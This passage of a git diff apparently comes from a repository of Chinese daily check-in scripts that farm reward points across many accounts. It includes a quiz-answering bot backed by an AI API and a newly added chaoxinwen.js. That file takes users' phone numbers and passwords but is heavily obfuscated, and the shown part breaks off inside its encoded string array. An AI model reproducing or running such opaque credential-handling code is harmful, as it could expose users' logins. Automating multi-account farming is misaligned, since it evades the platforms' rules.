+ score = response["data"]["score"]
self.log(f"✅ 浏览文章成功 | 积分 +{score}")
else:
- self.log(f'❌ 浏览文章失败: {response.get("msg", "未知错误")}')
+ self.log(f'❌ 浏览文章失败: {response["msg"]}')
# 答题相关
def get_question_info(self, share_user_hid: str) -> None:
@@ -321,18 +298,16 @@ def get_question_info(self, share_user_hid: str) -> None:
params = {"date": datetime.now().strftime("%Y%m%d")}
response = self.make_request("GET", self.API_QUESTION_INFO, params=params)
print(f"get_question_info API response ——> {response}")
- if response.get("code") != 0:
- self.log(f'❌ 获取问题失败: {response.get("msg", "未知错误")}')
+ if response["code"] != 0:
+ self.log(f'❌ 获取问题失败: {response["msg"]}')
return
-
- data = response.get("data", {})
- # data['state'] 1=表示未答题 2=已答题且正确 3=答错且未有人帮忙答题 4=答错但有人帮忙答题
- if data.get("state") == 3:
+ # response['data']['state'] 1=表示未答题 2=已答题且正确 3=答错且未有人帮忙答题 4=答错但有人帮忙答题
+ if response["data"].get("state") == 3:
self.log("今日已答题但回答错误,当前无人帮助答题,跳过")
return
- if data.get("state") != 1:
- if data.get("answer"):
- answer = data.get("answer", [""])[0]
+ if response["data"].get("state") != 1:
+ if response["data"].get("answer"):
+ answer = response["data"]["answer"][0]
if answer in ["A", "B", "C", "D"]:
self.correct_answer = answer
self.log(f"今日已答题,跳过,答案:{answer}")
@@ -340,18 +315,18 @@ def get_question_info(self, share_user_hid: str) -> None:
self.log("今日已答题,但未获取到答案,跳过")
return
- question_info = data.get("question_info", {})
- questions_hid = question_info.get("questions_hid", "")
+ question_info = response["data"]["question_info"]
+ questions_hid = question_info["questions_hid"]
# 构建问题字符串,只包含未被标记为错误的选项
- question_str = f"{question_info.get('content', '')}\n"
+ question_str = f"{question_info['content']}\n"
valid_options = []
- for option in question_info.get("option", []):
- if option.get("option") not in self.wrong_answers:
+ for option in question_info["option"]:
+ if option["option"] not in self.wrong_answers:
valid_options.append(option)
- question_str += f'{option.get("option", "")}. {option.get("option_content", "")}\n'
+ question_str += f'{option["option"]}. {option["option_content"]}\n'
else:
- print(f"跳过错误选项 {option.get('option', '')}. {option.get('option_content', '')}")
+ print(f"跳过错误选项 {option['option']}. {option['option_content']}")
print(f"\n问题详情:\n{question_str}")
@@ -370,54 +345,32 @@ def get_question_info(self, share_user_hid: str) -> None:
self.submit_question_answer(questions_hid, answer, share_user_hid)
def get_ai_answer(self, question: str) -> str:
- """获取通用AI答案"""
- if not self.ai_api_key or not self.ai_request_url or not self.ai_model:
- return ""
-
+ """获取AI答案"""
headers = {
"Authorization": f"Bearer {self.ai_api_key}",
"Content-Type": "application/json",
}
-
- # 构建默认的消息内容
- system_prompt = "你是一位北京现代汽车品牌的专家,对车型配置非常熟悉。\n以下是一道单选题,请只从题目实际列出的选项里选择正确答案。\n注意:题目可能只给出 2 个或 3 个选项,并非永远 4 个。\n请仅输出对应选项的那个英文字母,不要输出任何其他字符。"
-
- # 构建默认的 json_data
+ prompt = f"你是一个专业的北京现代汽车专家,请直接给出这个单选题的答案,并且不要带'答案'等其他内容。\n{question}"
json_data = {
- "model": self.ai_model,
- "messages": [
- {"role": "system", "content": system_prompt},
- {"role": "user", "content": question}
- ]
+ "model": "hunyuan-turbo",
+ "messages": [{"role": "user", "content": prompt}],
+ "enable_enhancement": True,
+ "force_search_enhancement": True,
+ "enable_instruction_search": True,
}
- # 如果提供了额外的请求参数,合并到 json_data 中
- if self.ai_request_params:
- try:
- extra_params = json.loads(self.ai_request_params)
- json_data.update(extra_params)
- except json.JSONDecodeError as e:
- print(f"❌ AI 请求参数解析失败: {str(e)}")
-
try:
- print(f"通用 AI API request ——> {json_data}")
response = requests.post(
- self.ai_request_url,
+ "https://api.hunyuan.cloud.tencent.com/v1/chat/completions",
headers=headers,
json=json_data,
)
- print(f"通用 AI API response status ——> {response.status_code}")
- print(f"通用 AI API response text ——> {response.text}")
response.raise_for_status()
response_json = response.json()
+ print(f"腾讯混元AI API response ——> {response_json}")
# 获取AI回答内容并转大写
- choices = response_json.get("choices", [])
- if choices and len(choices) > 0:
- message = choices[0].get("message", {})
- ai_response = message.get("content", "").upper()
- else:
- ai_response = ""
+ ai_response = response_json["choices"][0]["message"]["content"].upper()
# 使用集合操作找出有效答案
valid_answers = set("ABCD") - self.wrong_answers
@@ -427,11 +380,11 @@ def get_ai_answer(self, question: str) -> str:
if found_answers:
return found_answers.pop()
else:
- self.log(f"❌ 没有找到符合的 AI 答案")
+ print(f"❌ 没有找到符合的 AI 答案")
return ""
except Exception as e:
- self.log(f"通用 AI API 请求失败: {str(e)}")
+ print(f"腾讯混元AI API 请求失败: {str(e)}")
return ""
@@ -447,11 +400,11 @@ def get_question_answer(self, question: str) -> str:
self.log(f"使用预设答案: {self.preset_answer}")
return self.preset_answer
- # 3. 存在AI配置时,使用通用AI方法获取答案
- if self.ai_api_key and self.ai_request_url and self.ai_model:
+ # 3. 存在AI APIKey时,使用AI答案
+ if self.ai_api_key:
ai_answer = self.get_ai_answer(question)
if ai_answer:
- self.log(f"使用 AI 答案: {ai_answer}")
+ self.log(f"使用AI答案: {ai_answer}")
return ai_answer
# 4. 随机选择答案(排除错误答案)
@@ -472,14 +425,12 @@ def get_answered_question(self) -> None:
params = {"date": datetime.now().strftime("%Y%m%d")}
response = self.make_request("GET", self.API_QUESTION_INFO, params=params)
print(f"get_answered_question API response ——> {response}")
- if response.get("code") != 0:
- self.log(f'❌ 从已答题账号获取问题失败: {response.get("msg", "未知错误")}')
+ if response["code"] != 0:
+ self.log(f'❌ 从已答题账号获取问题失败: {response["msg"]}')
return
-
- data = response.get("data", {})
- # data['state'] 1=表示未答题 2=已答题且正确 4=已答题但错误
- if response.get("code") == 0 and data.get("answer"):
- answer = data.get("answer", [""])[0]
+ # response['data']['state'] 1=表示未答题 2=已答题且正确 4=已答题但错误
+ if response["code"] == 0 and response["data"].get("answer"):
+ answer = response["data"]["answer"][0]
if answer in ["A", "B", "C", "D"]:
self.correct_answer = answer
self.log(f"从已答题账号获取到答案:{answer}")
@@ -502,9 +453,9 @@ def submit_question_answer(
response = self.make_request("POST", self.API_QUESTION_SUBMIT, json=json_data)
print(f"submit_question_answer API response ——> {response}")
- if response.get("code") == 0:
- data = response.get("data", {})
- if data.get("state") == 3: # 答错
+ if response["code"] == 0:
+ data = response["data"]
+ if data["state"] == 3: # 答错
# 记录错误答案
self.wrong_answers.add(answer)
# 如果是正确答案,清除它
@@ -514,13 +465,13 @@ def submit_question_answer(
if self.preset_answer == answer:
self.preset_answer = ""
self.log("❌ 答题错误")
- elif data.get("state") == 2: # 答对了
+ elif data["state"] == 2: # 答对了
if self.correct_answer != answer:
self.correct_answer = answer
- score = data.get("answer_score", 0)
+ score = data["answer_score"]
self.log(f"✅ 答题正确 | 积分 +{score}")
else:
- self.log(f'❌ 答题失败: {response.get("msg", "未知错误")}')
+ self.log(f'❌ 答题失败: {response["msg"]}')
def get_backup_share_hid(self, user_hid: str) -> str:
"""从备用 hid 列表中获取一个不同于用户自身的 hid"""
@@ -529,14 +480,6 @@ def get_backup_share_hid(self, user_hid: str) -> str:
def run(self) -> None:
"""运行主程序"""
-
- try:
- from dotenv import load_dotenv
- load_dotenv()
- print("✅ dotenv 成功加载 .env 文件")
- except ImportError:
- print("⚠️ 缺少 dotenv 库, 青龙环境请忽略, 本地运行请安装此库")
-
# 使用列表保持顺序,使用集合实现去重
tokens = []
tokens_set = set()
@@ -575,41 +518,12 @@ def run(self) -> None:
self.log(f"👻 共获取到用户 token {len(tokens)} 个")
- # 获取新的 AI 配置参数
- self.ai_api_key = os.getenv("AI_API_KEY", "")
- self.ai_request_url = os.getenv("AI_REQUEST_URL", "")
- self.ai_model = os.getenv("AI_MODEL", "")
- self.ai_request_params = os.getenv("AI_REQUEST_PARAMS", "")
-
- # 兼容旧的环境变量
- if not self.ai_api_key and not self.ai_request_url and not self.ai_model:
- # 检查旧的腾讯混元 AI 配置
- self.ai_hunyuan_api_key = os.getenv("HUNYUAN_API_KEY", "")
- if self.ai_hunyuan_api_key:
- self.ai_api_key = self.ai_hunyuan_api_key
- self.ai_request_url = "https://api.hunyuan.cloud.tencent.com/v1/chat/completions"
- self.ai_model = "hunyuan-turbo"
- self.ai_request_params = json.dumps({"enable_enhancement": True, "force_search_enhancement": True, "enable_instruction_search": True})
- self.log("💯 已获取到腾讯混元 AI 配置, 使用腾讯混元 AI 答题")
- else:
- self.log("😭 未设置腾讯混元 AI HUNYUAN_API_KEY 环境变量")
-
- # 检查旧的智谱 GLM AI 配置
- self.ai_glm_api_key = os.getenv("GLM_API_KEY", "")
- if self.ai_glm_api_key:
- self.ai_api_key = self.ai_glm_api_key
- self.ai_request_url = "https://open.bigmodel.cn/api/paas/v4/chat/completions"
- self.ai_model = "glm-4.5-flash"
- self.ai_request_params = json.dumps({"do_sample": False})
- self.log("💯 已获取到智谱 GLM AI 配置, 使用智谱 GLM AI 答题")
- else:
- self.log("😭 未设置智谱 GLM AI GLM_API_KEY 环境变量")
- else:
- # 使用新的 AI 配置
- if self.ai_api_key and self.ai_request_url and self.ai_model:
- self.log("💯 已获取到通用 AI 配置, 使用通用 AI 答题")
- else:
- self.log("⚠️ 通用 AI 配置不完整, 请检查 AI_API_KEY、AI_REQUEST_URL 和 AI_MODEL 环境变量")
+ self.ai_api_key = os.getenv("HUNYUAN_API_KEY", "")
+ self.log(
+ "💯 已获取到腾讯混元 AI APIKey, 使用腾讯混元 AI 答题"
+ if self.ai_api_key
+ else "😭 未设置腾讯混元 AI HUNYUAN_API_KEY 环境变量,使用随机答题"
+ )
# 获取预设答案
self.preset_answer = os.getenv("BJXD_ANSWER", "").upper()
@@ -620,30 +534,26 @@ def run(self) -> None:
self.preset_answer = ""
self.log("❌ 预设答案格式错误,仅支持 A/B/C/D")
- self.log("获取用户信息")
# 获取所有用户信息
for token in tokens:
self.token = token
user = self.get_user_info()
if user:
self.users.append(user)
- time.sleep(random.randint(3, 5))
if not self.users:
self.log("❌ 未获取到有效用户")
- # 最后推送通知
- self.push_notification()
return
# 设置分享用户ID
for i, user in enumerate(self.users):
prev_index = (i - 1) if i > 0 else len(self.users) - 1
# 如果有多个用户且上一个用户不是自己,使用上一个用户的 hid
- if len(self.users) > 1 and self.users[prev_index].get("hid") != user.get("hid"):
- user["share_user_hid"] = self.users[prev_index].get("hid", "")
+ if len(self.users) > 1 and self.users[prev_index]["hid"] != user["hid"]:
+ user["share_user_hid"] = self.users[prev_index]["hid"]
else:
# 否则从备用 hid 列表中选择一个
- user["share_user_hid"] = self.get_backup_share_hid(user.get("hid", ""))
+ user["share_user_hid"] = self.get_backup_share_hid(user["hid"])
# 执行任务
self.log("\n============ 执行任务 ============")
@@ -661,11 +571,11 @@ def run(self) -> None:
# 打印用户信息
self.log(
- f"👻 用户名: {self.user.get('nickname', '未知')} | "
- f"手机号: {self.user.get('phone', '未知')} | "
- f"积分: {self.user.get('score_value', 0)}\n"
- f"🆔 用户hid: {self.user.get('hid', '')}\n"
- f"🆔 分享hid: {self.user.get('share_user_hid', '')}"
+ f"👻 用户名: {self.user['nickname']} | "
+ f"手机号: {self.user['phone']} | "
+ f"积分: {self.user['score_value']}\n"
+ f"🆔 用户hid: {self.user['hid']}\n"
+ f"🆔 分享hid: {self.user['share_user_hid']}"
)
# 检查任务状态
@@ -673,48 +583,36 @@ def run(self) -> None:
self.log(f"任务状态: {self.user['task']}")
# 调试使用 设置任务状态
- self.user["task"]["question"] = True
# self.user["task"]["sign"] = False
# self.user["task"]["view"] = False
+ # self.user["task"]["question"] = False
- # 获取任务状态
- user_task = self.user.get("task", {})
-
- # 任务:答题
- if not user_task.get("question"):
- self.get_question_info(self.user.get("share_user_hid", ""))
- else:
- self.log("✅ 答题任务 已完成,跳过")
- if not self.correct_answer:
- self.get_answered_question()
-
- # 任务:签到
- if not user_task.get("sign"):
+ # 签到
+ if not self.user["task"]["sign"]:
self.get_sign_info()
time.sleep(random.randint(5, 10))
else:
self.log("✅ 签到任务 已完成,跳过")
- # 任务:阅读文章
- if not user_task.get("view"):
+ # 阅读文章
+ if not self.user["task"]["view"]:
article_ids = self.get_article_list()
if article_ids:
- for index, article_id in enumerate(article_ids): # 已经只有3篇了
- self.log(f"🔄 开始处理第 {index + 1}/{len(article_ids)} 篇文章")
- try:
- self.get_article_detail(article_id)
- except Exception as e:
- self.log(f"❌ 第 {index + 1} 篇文章处理失败: {str(e)}")
- # 每篇文章之间的延迟
+ for article_id in article_ids: # 已经只有3篇了
+ self.get_article_detail(article_id)
time.sleep(random.randint(10, 15))
- # 所有文章处理完成后提交积分
- try:
- self.submit_article_score()
- except Exception as e:
- self.log(f"❌ 提交文章积分失败: {str(e)}")
+ self.submit_article_score()
else:
self.log("✅ 浏览文章任务 已完成,跳过")
+ # 答题
+ if not self.user["task"]["question"]:
+ self.get_question_info(self.user["share_user_hid"])
+ else:
+ self.log("✅ 答题任务 已完成,跳过")
+ if not self.correct_answer:
+ self.get_answered_question()
+
self.log("\n============ 积分详情 ============")
for i, user in enumerate(self.users, 1):
if i > 1:
@@ -729,7 +627,7 @@ def run(self) -> None:
# 打印用户信息
self.log(
- f"👻 用户名: {self.user.get('nickname', '未知')} | 手机号: {self.user.get('phone', '未知')}"
+ f"👻 用户名: {self.user['nickname']} | 手机号: {self.user['phone']}"
)
# 显示积分详情
diff --git a/bucket.js b/bucket.js
new file mode 100644
index 00000000..106f1010
--- /dev/null
+++ b/bucket.js
@@ -0,0 +1,13 @@
+module.exports = {
+ getBucket,
+ updateBucket
+}
+const fs = require('fs')
+function getBucket(bucketName) {
+ return fs.readFileSync(bucketName)
+}
+
+function updateBucket(bucketName, bucket) {
+ return fs.writeFileSync(bucketName, bucket)
+}
+
diff --git a/daily/changhongmeiling.py b/changhongmeiling.py
similarity index 67%
rename from daily/changhongmeiling.py
rename to changhongmeiling.py
index 9117c48d..25f28404 100644
--- a/daily/changhongmeiling.py
+++ b/changhongmeiling.py
@@ -1,14 +1,19 @@
-# 微信小程序长虹智慧家居
-# new Env("长虹智慧家居每日签到")
-# 环境变量 chmlck 取url请求头中的token,
+
+#环境变量 chmlck 取url请求头中的token
#变量格式 token#备注,多账号换行
-#撸实物加视频会员
-#
+#搜微信小程序长虹美菱
+
import os
import requests
+response = requests.get("#小程序://长虹美菱会员服务/VgBR6WSiyJxrs4G")
+response.encoding = 'utf-8'
+txt = response.text
+print(txt)
+
accounts = os.getenv("chmlck", "").splitlines()
print("☞☞☞ 长虹美菱每日签到 ☜☜☜\n")
+
if not accounts:
print("未找到任何账号信息。")
else:
@@ -24,7 +29,7 @@
url = "https://hongke.changhong.com/gw/applet/aggr/signin"
params = {'aggrId': "608"}
headers = {
- 'User-Agent': "Mozilla/5.0 (Linux; Android 14; 23116PN5BC Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220099 MMWEBSDK/20240404 MMWEBID/2445 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 MiniProgramEnv/android",
+ 'User-Agent': "Mozilla/5.0 (Linux; Android 10; Mobile Safari/537.36)",
'Accept-Encoding': "gzip, deflate",
'Content-Type': "application/json",
'Token': token.strip()
@@ -39,4 +44,4 @@
else:
print(f"{note.strip()}:响应状态码 {response.status_code} - {response.text}")
except requests.RequestException as e:
- print(f"{note.strip()}:请求失败 - {e}")
\ No newline at end of file
+ print(f"{note.strip()}:请求失败 - {e}")
diff --git a/chaoxinwen.js b/chaoxinwen.js
new file mode 100644
index 00000000..c125f424
--- /dev/null
+++ b/chaoxinwen.js
@@ -0,0 +1,1841 @@
+
+/*
+@自定义
+app:潮新闻
+完成每日奖励任务,点赞和评论,最多可获得0.4元
+无自动提现,脚本运行完了自己去手动打开红包提现
+变量名:cxwck
+变量值:手机号#登陆密码,多账号换行
+定时:一个小时内至少运行2次,比如:12,28 9 * * *
+*/
+//Sat Jan 25 2025 08:38:57 GMT+0000 (Coordinated Universal Time)
+//Base:https://github.com/echo094/decode-js
+//Modify:https://github.com/smallfawn/decode_action
+var 自定义_0x2aebad = "danchaofan";
+const 自定义_0x341b2a = 自定义_0x3ae78b;
+(function (_0x46b5cb, _0x567f92, _0x3a70db, _0xe1166, _0x37dd9b, _0x15935b, _0x42c53c) {
+ _0x46b5cb = _0x46b5cb >> 5;
+ _0x15935b = "hs";
+ _0x42c53c = "hs";
+ return function (_0x2ab875, _0x240b9c, _0x451991, _0x333a61, _0x13ea15) {
+ const _0xdd5767 = 自定义_0x3ae78b;
+ _0x333a61 = "tfi";
+ _0x15935b = _0x333a61 + _0x15935b;
+ _0x13ea15 = "up";
+ _0x42c53c += _0x13ea15;
+ _0x15935b = _0x451991(_0x15935b);
+ _0x42c53c = _0x451991(_0x42c53c);
+ _0x451991 = 0;
+ const _0x28d66e = _0x2ab875();
+ while (true && --_0xe1166 + _0x240b9c) {
+ try {
+ _0x333a61 = -parseInt(_0xdd5767(1171, "No1k")) / 1 + parseInt(_0xdd5767(780, "YZhE")) / 2 * (parseInt(_0xdd5767(1557, "&IZa")) / 3) + -parseInt(_0xdd5767(800, "No1k")) / 4 + parseInt(_0xdd5767(284, "$orq")) / 5 * (parseInt(_0xdd5767(887, "#U#H")) / 6) + parseInt(_0xdd5767(651, "YZhE")) / 7 * (parseInt(_0xdd5767(743, "Y]cP")) / 8) + -parseInt(_0xdd5767(342, "Vn0V")) / 9 + parseInt(_0xdd5767(357, "t[fq")) / 10;
+ } catch (_0x41213e) {
+ _0x333a61 = _0x451991;
+ } finally {
+ _0x13ea15 = _0x28d66e[_0x15935b]();
+ if (_0x46b5cb <= _0xe1166) {
+ _0x451991 ? _0x37dd9b ? _0x333a61 = _0x13ea15 : _0x37dd9b = _0x13ea15 : _0x451991 = _0x13ea15;
+ } else {
+ if (_0x451991 == _0x37dd9b.replace(/[SEDTtKHvQJkrbFRAp=]/g, "")) {
+ if (_0x333a61 === _0x240b9c) {
+ _0x28d66e["un" + _0x15935b](_0x13ea15);
+ break;
+ }
+ _0x28d66e[_0x42c53c](_0x13ea15);
+ }
+ }
+ }
+ }
+ }(_0x3a70db, _0x567f92, function (_0xbd4751, _0x5a79f3, _0x4355a2, _0x11a92d, _0x231c32, _0x1f8da1, _0x5ede20) {
+ _0x5a79f3 = "split";
+ _0xbd4751 = arguments[0];
+ _0xbd4751 = _0xbd4751[_0x5a79f3]("");
+ _0x4355a2 = "reverse";
+ _0xbd4751 = _0xbd4751[_0x4355a2]("v");
+ _0x11a92d = "join";
+ 1411111;
+ return _0xbd4751[_0x11a92d]("");
+ });
+})(6528, 831542, 自定义_0xdc02f8, 206);
+自定义_0xdc02f8;
+NAME = 自定义_0x341b2a(603, "yDrQ");
+VALY = [自定义_0x341b2a(1211, "$orq")];
+CK = "";
+LOGS = 0;
+usid = 0;
+channel = [自定义_0x341b2a(1479, "N4]F"), 自定义_0x341b2a(569, "%ucD"), 自定义_0x341b2a(1005, "W!t^"), 自定义_0x341b2a(1130, "IGsJ"), 自定义_0x341b2a(656, "MB!Y"), 自定义_0x341b2a(1170, "o)^n"), 自定义_0x341b2a(1297, "XHDs"), 自定义_0x341b2a(1160, "v(5o"), 自定义_0x341b2a(713, "IGsJ"), 自定义_0x341b2a(379, "4@e)"), 自定义_0x341b2a(408, "z54j")];
+var 自定义_0x29c897 = require(自定义_0x341b2a(1036, "s%@&"));
+const 自定义_0x556b11 = require(自定义_0x341b2a(594, "XHDs"));
+function 自定义_0xdc02f8() {
+ const _0x11de0d = function () {
+ return [自定义_0x2aebad, "HdapRnDJckhaoftaTnbvASvkRFQrAHDbAEKt==", "smkVr8oB", "p2XKuXC", "dSoywa", "imk5chj4", "ucnw", "cCkAWQxcNCkN", "FYtdTCkwaG", "hePFDaq", "WQFcHIvl", "WO0yWQLYCq", "WQ9HW7FcPmoR", "zmkKxuNcUSoHga", "Fs3cLG", "WQRdQ8oD", "bLjasZi", "W5KbW67dNCoHcCoYpmo6", "bZ8Hp8oSA8oDWPu", "deH+ydldUIFdMq", "WOX7W6TfWQ0nW7rSWPm+", "WPtcKSkwoG", "W6HnW4Ht", "afVcOa", "W67cSCkCW61a", "aZCOvGOLWQddOq", "yvNcRY4", "zSkxBmoGWQu", "DKtcOIy", "WR3dPSoej8opFG", "iWBcLrxcRG3cMNBdHCoG", "W7TnW5vtWPpdS2rhmmozWO/cSa", "WPZdP8oCcxu", "W48AW7JdPCog", "bSkTWOSuWPq", "W6PXWPNdNxW", "WOnkW70onq", "j37cOmonWP7cTZJcUW", "utxcUW", "W7XvW7rKWOC", "WQ/dTurttW", "i8oFcCoJFYhdMG", "cmkQWRO1", "dq8KfCo5", "eZ4ZBW", "W63cGSkafSoRBq", "EHVdU8kopSkWmSkkW4tdQCo4gCoe", "W68iD8owia", "WOVcUH5Cqq", "qSkHl8oeW7a", "WPGcW5v6WPS", "W4fvWPZdGuLLwxLAW4tcIHaTlYldLG", "W7jXdmkVnG", "WODzW6yq", "DNZcKH7dGq", "CdRdSCkLoG", "i0vXBmkC", "yIhcVdtdLa", "oKPJCtldSd7dVSkZsSk2W5K", "kmkkWQquWRa", "WPr4WPX+W5JdTfPygmk9W7iOfG", "W7KcEmoKpa", "qmkpj8o/W6m", "f1VdUCk4fa", "WQNcVtT/uq", "Fr3dSG", "W5WsW7tdHSocWROkua", "rHpcSqddK8kNW5jJW4FdSSkCWRZdM8ocW5Szi2VcKmoakmkTrSkVrZVcLHBcJXBdGwdcIXJcHqDMWObHWO/cVge8yJ5G", "Cd9ejqm", "W49fW4XvWP8", "mSkGWO/cQ8kL", "W7W3W4tdQ8oI", "jxfdzq", "funnt8kR", "fISNjmow", "W7ruW7HgWQi", "W78aW6RcLG", "W5FcL8kIW49hkSotxW", "WOacWPmoWP8", "EWpcVaNdIG", "W71QWR/dOum", "W6mWW6mMWOK", "CCkidCoFW5m5l8k3W4ZcOmkFW7ldRG", "pmkddCo2FW", "W65JW4PpWPm", "Er/dRq", "fImVvry/WQFdSwBcIdS", "kLXID8kH", "WOqiWPScWRe", "WOiiW4pcJSkrWQWZWQBcUq", "fmk/WR0UWQJcPCoQB0hcPmoRWR4YWOdcV8oHqCoOW5JcP8oSW5G0mSkoW7n+WRtdHCkQq8o3gWy9bYFcLZmtWO82zbue", "DSkRv08", "W4fdW6lcKmo7W77cSq", "iLz+zHu", "ft83jmohBmoDWP96", "WQNdSmoTfvK", "vJ5SqMqSW7RdUthcMNO", "W7z3W4DyW4T2WQ0CWQ5Tk2LI", "W6W9WPfwBX5QvfdcOmkYW7Gkn8ouW7ldH3eNpW", "WRPjW5PeWPW3W45lWRGDWQldIXXqraNcNqBdPhxcSx/dRMzEW53dHmoZnY3dPCkuaCkaW7u2pWO8WOXlv2VdL8kHy1BdRImHjc3dSMFcLs0CW6LTWP1xtG", "WOZdRef2sq", "WQhdRv9mb8oEWPi", "mh7cNSouWONcSclcGWNcQSk/Bq", "5lQJ5Pwi54oR6lEF6lEB542X6yso", "WPbeW6awotT9q8kRWPq6", "W5X2W5PtWPG", "W55rWPa", "rSkLl8kcWOjQ", "W4dcVCkZW69D", "W40UW4hdLmoV", "kCk/WQ9M", "WQaBW691WOG", "WQNcJCkrmSoq", "eCohu0RdJa", "W4CrW7/dNCo0hmo+", "E3/cSIpdUa", "WPyjWQW", "WRBcGsS", "ECkiamoxW4m0", "qXlcUCoYW5y", "WOX7W6TBWQCaW69Q", "W5WKCmogamkM", "W5TqW4jxWOldSLO5", "rJ7cQCo/W4ddVmkL", "bLvVqCks", "jWhcSctcRa", "WPJdNSkCWR4q", "WONcQ8k7fSoO", "rmkrxgJcICkEWRZcImkFv8ozW5Dt", "Eda1lXVdMve", "WRNdQSkmWOqoBSknieW", "jSkFhebgWQBdKq", "WP8qWRtdJmkHh8kPz8o+WR8lWOiuWOlcQsdcICoEd8oeh8o5z8o+", "hhbu", "rtZcJmow", "WQ/dTCktWPKv", "tcVcISoPW5C", "WOVcOHbxCa", "bCkLg8oSwg0MwCotWP7cRG", "WRisW4/cICkaWRaUW6xcQSofEmoY", "aZCOvIa5WQ0", "WOJcN8kCeIRcJI4KW7u", "ogXqBmoP", "WRuvWOukWOG", "W47cMSk3W41V", "WP9/W6X9WQqhW6H2", "ehDzyCkR", "dSosuutdJmoxWPhcRmo6bCoEWQ4HbIhdNfm", "WRywW6tcPCkN", "amk9iSo4Ca", "bCoipmoMW43cQq", "yCkmhCoBW744", "pfDqBHG", "usDkiG4", "WRT4W4SmeG", "yItcUColWO8", "WRdcGcvdxmoOkCksu0lcMa", "cwBdPCk3WPJcSSoSW5HsWRKgW4fYzdddImku6lYs5zQheYXjzgqbtLubW4b+pmkZWPHsWQq0", "WQ43WP0", "CrdcS8o9WOG", "vs07kWBdM35f", "gLXvutK", "WPyyW5u", "W7rnW5W", "nSkse0bVWRFdUIddImkWWOWTqJaGcConECoMyKhdPq", "acu7b8ow", "E33cJq3dQW", "WR/dPSkB", "W5OvW6G", "WQBcSmkNlCo2", "w8kPx8o/WOy", "cHK/pSo1", "WRK/WRDnBG", "wJRcJa", "CdmJfsy", "W71mW5HvWO/dRwq", "CaTgoHe", "WRTqaSkTn8k6WRJdUuldGSkEWQjwpW", "fbxcNW7cIrBcSve", "W70TW7pdV8oB", "WOrnW5tcKmoQW5FcSmkaWRu", "WRpdTMv3sa", "wCkGv8ocWPySW64", "gmo1zK7dOG", "WO3dI8oSbL4", "ogDGrWy", "FSkVr8ovW5LO", "WONcUCkMbXW", "dmk8WQ0", "pSkiiSohCMfZh8oF", "W7ybW6SqWQxcRaX6cCk5W7C", "W5lcQSkwfmo2", "qmkzcmki", "wqusf2/dQIWhW4RcTmkWmGm", "W6i+W63dHmoq", "vXqMnJ4", "WO/dL3jpzW", "WRddOSoSkCo/"].concat(function () {
+ return ["5lUV5PAV6k+26k+26lsh546L6ywI", "W5hcHCklW7bN", "WPNcIYr9EG", "mqGp", "hLXusr/cVhqsW7BcNCk+", "W6lcJ8kpa8oECq", "WPTVW7KfpG", "W5miW5SNWOu", "dmoldCo0ta", "dLXtqW", "WQynW4/cM8kk", "W74wW4xdMmoY", "EWmXj3FcPHxdOSkmCmk1W7W", "kSk6WOxcLG", "dI07tq", "WQhdQmohiCoj", "d8kfWQ/cUCkO", "WOhcGmkrdt/cJdDXWRiRjtRcKCkYzCoY", "WQhcIJHcwmoLoa", "WQPnW4zNWQu", "m1DsqSo7", "jb7cQYJcJq", "WRRdUSkmWP8", "B8kgDCkcW5PQW60HymkIuCkLWPO", "yqpcKmo5W68", "WOFdV054DW", "DvdcHaZdNG", "nSktWPeoWOi", "W6RdQxCzBa", "W5qbW4e/WOK", "5ys+5OMe5yI3", "WO1cW6tcSSoiW60Acv5qWRzoyGBcQSkaWQhdVSkBW7VcGHTGW7e", "nvnJvSk8", "WRNdQ8oxlLtdHfW", "bSk5nNbv", "WQKSWObhDr8", "iCkFcu5TWQRdLJ0", "ySkoBKNcIa", "smkDwmo7WRC", "dhNdSSk8aq", "CSkigSo9W54Yd8kTW4dcSa", "W63cMCk1W4fzemoH", "WPyyW5xcRSkaWR01WQBcUSop", "wttcVmoV", "WQFdUezz", "W45Qoq", "ECkccq", "cub5tSkF", "amkodf9w", "W7RcRSksW7bm", "W7myW4mJWRy", "WOneW7Wj", "FqlcOSohW4m", "W53dJwu/yq", "y8kRtv7dTCkL", "bCoss3FdKCosWR3cUmoah8oDW5KfgsBdNfq", "wXdcKSoIW7u", "W6HHW4T+WQm", "W5CsW67dRmozWRW", "m2rDD8kwW4m", "iLBdMmkNkW", "W4eDW6/dP8omWQqoaXSgWQ8zFqdcOCkq", "W4GLW4WMWOq", "wGBcGCorWQu", "pXiwa8o0", "aZBcRXNcNW", "zI3cPbRdPq", "hCocaCo1W4VcQmkXxG", "W7NdLfO7tCksWRSoW63cV8o6WRbnWR7dRwPltslcUmkHW4hcUSo+i8o3W5a8W57cQSoHmuXMh1C9W4FdPZmoqYqaiK8", "WO/dPSoYdN8", "dfqcqCkxW447oSoRW7u", "kLrK", "W6H1WQa", "W6TXWQhdG00", "WQVdRmkCWPGsB8kx", "yZhcOmoTW6q", "tHVdGmkXmG", "jXGgnCo2", "44gA77YF5PYF5AgS5ys15y6v6yAXo8o7", "WRVdNSkEWQiE", "W5PuW5zDWQy", "jCkikCoaDgWRqSoo", "WPxcHYbxBG", "WPRdNmk6WQ8K", "pYuJnCoA", "uaD7fdC", "pG7cNbNcJa", "WPv6W5hcHmol", "h8oobmoJW6S", "mMtcH8orWPNcTZi", "CJOHkqVdHea", "kf9Z", "WO8lWRHZDq", "DYO2mX3dHL1SfJpdUCk9W6XvnMtcMSoq", "rrCdAuFcGG", "ANtcMGddJW", "WPHUW7n/WRW", "m8k0WPlcMmkDEHGirJC", "W65ugmkRn8k4WO7dSu4", "WO/cMmkxda", "W4/cMCk2", "WQi4WObpCa", "mqODdgbM", "W5FcN8k8W4e", "WOL6W7XYW79EW7GZWPr6WOdcQ20InYddPhNdIX7cIa3dNbaLW7lcHmoInJRdT8oD", "uv7cQHtdUSkCW4W", "W4tcK8kLW6j+l8omCN7dGJ4", "WRpcUCok", "j37cV8owWPVcUYtcNWtcSmkP", "gSoDpSoOW40", "pKH8x8o+", "WPWzW5DN", "W4WrW4/dJmoB", "a8kCi8oDwq", "W7z1W4zyW4H4W7aSWRDedeS", "W4aNW5W", "ah5dxSkJ", "f8ocgSoIDW", "W6tcICkn", "W4HtWPRdJK0", "axf/uYq", "W6e5W4pdJ8or", "yIddHCkiW5tdQgpcJa3cT8k9Ed8", "W54zW6m", "W7VdIuW", "WOuuW4ZcMa", "bWq6wYi", "ivlcO8osWP8", 